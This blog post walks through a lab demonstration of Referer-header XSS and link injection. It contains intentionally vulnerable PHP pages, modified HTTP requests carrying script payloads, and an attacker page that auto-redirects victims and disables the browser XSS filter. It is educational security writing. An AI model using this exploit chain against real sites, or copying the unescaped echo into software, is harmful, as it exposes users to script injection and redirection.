Referer XSS with a Side of Link Injection

I wanted to share an example of referer XSS, as I’ve never been able to play with it before.

Referer XSS – Introduction

During an engagement earlier this year, I found an application that was vulnerable to XSS, as well as link injection, via the ‘Referer’ header. I wanted to share a way to find this vulnerability, as well as an example exploit.

For more information, you can also visit the following GitHub post or write-up.

I apologize again in advance, but the IP changes a few times during this post due to switching machines/VMs.

Vulnerable Application

I started with the search page from my XSS Attack Chain post and modified it.

<html>
<head>
<title>Search Page</title>
</head>

<body>

<?php
    $query = $_GET['q'];
    if (strpos($query, '\'') !== false) {
        header("Location: error.php");
    }
    else {
        echo "<i>Your search query is:</i> $query";
    }
?>

<br />
<br />
<br />

<?php
    date_default_timezone_set("America/New_York"); // default time zone

    echo "<p><b>Copyright © 2016-" . date("Y") . "</b>: <i>Ray Doyle (@doylersec) - <a href=\"https://www.doyler.net\">doyler.net</a></i></p>";
?>

</body>
</html>

As you can see, the search page displays the query parameter as expected.

Referer XSS - Search

Additionally, I added an error page that would display the referer header, to demonstrate the exploit.

<html>
<head>
<title>Error Page</title>
</head>

<body>

We apologize for the inconvenience, but the application has encountered an error.

<?php
    echo "<a href=\"" . $_SERVER["HTTP_REFERER"] . "\">Go back to the last known good page?</a>";
?>

<br />
<br />

If the problems persist, then please contact us!

<br />
<br />
<br />

<?php
    date_default_timezone_set("America/New_York"); // default time zone

    echo "<p><b>Copyright © 2016-" . date("Y") . "</b>: <i>Ray Doyle (@doylersec) - <a href=\"https://www.doyler.net\">doyler.net</a></i></p>";
?>

</body>
</html>

Error Condition

While I’ve contrived the error condition, it will work as a basic demo.

To cause the exploit, a user can just send a request to the following URL:

http://localhost:1234/search.php?q=test’

As you can see, the server redirects the user to error.php after this request.

Referer XSS - Error

Referer XSS – Attack

To start the exploit, I created a page with the following link.

Search for test' with <a href="search.php?q=test'">this link</a>!

Referer XSS - Link

As you can see, the HTTP request contains the referer of the attack page.

GET /error.php HTTP/1.1
Host: 192.168.5.97:1234
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8000/attack.html
Connection: close
Upgrade-Insecure-Requests: 1

When a user clicks this link, the error page contains the expected attack.html link.

Referer XSS - Referer

Request Interception

First, to demonstrate this vulnerability, I intercepted the request and manually modified the referer header.

GET /error.php HTTP/1.1
Host: 192.168.5.97:1234
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.97:1234/search.php?q=test"><script>alert(1)</script>
Connection: close
Upgrade-Insecure-Requests: 1

Once the user gets to the error page, the alert fires off.

Referer XSS - Alert

Additionally, I wanted to verify that link injection was possible. To do this, I modified the host portion of the referer header as we

Referer: http://www.google.com"><script>alert(1)</script>

When the browser loads the error page, the link on the page points to the “referer” of Google.

Referer XSS - Google Link

When the user clicks the “Go Back” button, they end up at Google as expected.

Referer XSS - Google

Exploitation

As this vulnerability requires control over the referer header, exploitation is a little different than a standard reflected XSS. You will not be sending your target a link to the vulnerable site. Instead, you will send them a link to a page under your control, that will then redirect (manually or automatically) them to the vulnerable application.

To exploit this vulnerability, I modified my attack page a bit. First, if there is no query parameter, it adds one to the URL. This will allow for the automatic exploitation of the error page.

<html>
<head>
<title>Attack Page</title>
</head>

<body>

<script>
if (window.location.search.length == 0)
{
	window.location.href = window.location.href = "?exploit=\"><script>alert(1)<\/script>";
}
</script>

Search for test' with <a href="http://10.0.0.164:1234/search.php?q=test'">this link</a>!

<br />
<br />

</body>

</html>

Unfortunately, when a user clicks on this link, the payload ends up URL encoded.

Referer XSS - URL Encode

That said, Internet Explorer should not automatically encode the special characters in the URL. Unfortunately, this is no longer the case in IE11.

Referer XSS - IE11

That said, once I visited the attack page in IE8, the exploit was successful!

Referer XSS - Exploited

As you can see, the source code contains the un-modified payload.

Referer XSS - IE8

Automation

It is also possible to completely automate this attack, and not require the user to click another link on your malicious page.

First, I modified my attack page to include an auto-submitted form to the search page.

<body>

<form id="exploit" name="exploit" method="GET" action="http://10.0.0.164:1234/search.php">
	<input type="hidden" name="q" value="'" /> 
</form>

<script>
if (window.location.search.length == 0)
{
	window.location.href = window.location.href = "?exploit=\"><script>alert(1)<\/script>";
}
else
{
	document.getElementById('exploit').submit();
}
</script>

</body>

Unfortunately, when a user visited this page in IE8, the XSS filter prevented the ‘else’ statement from executing.

Referer XSS - XSS Filter

That said, I verified that the full redirect was happening within a Chrome tab.

Referer XSS - Chrome Verification

Instead of messing around with XSS Filter bypasses, I modified my malicious server using the following StackOverflow answer. As I have control over the malicious server, it is simple enough for me to set X-XSS-Protection to 0, and bypass the filter.

Once a user clicks on the link to my attack.html page now, their browser redirects them to the vulnerable error page with a full exploit!

Referer XSS - Full Exploit

Referer XSS – Conclusion

While this is an attack that will only work against older versions of Internet Explorer, I still think it was a fun one.

I actually had a former co-worker run across this vulnerability recently, so it does exist in the wild.

More blog posts are on the way, including a few XSS filter posts, so stay tuned!

Leave a Comment

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.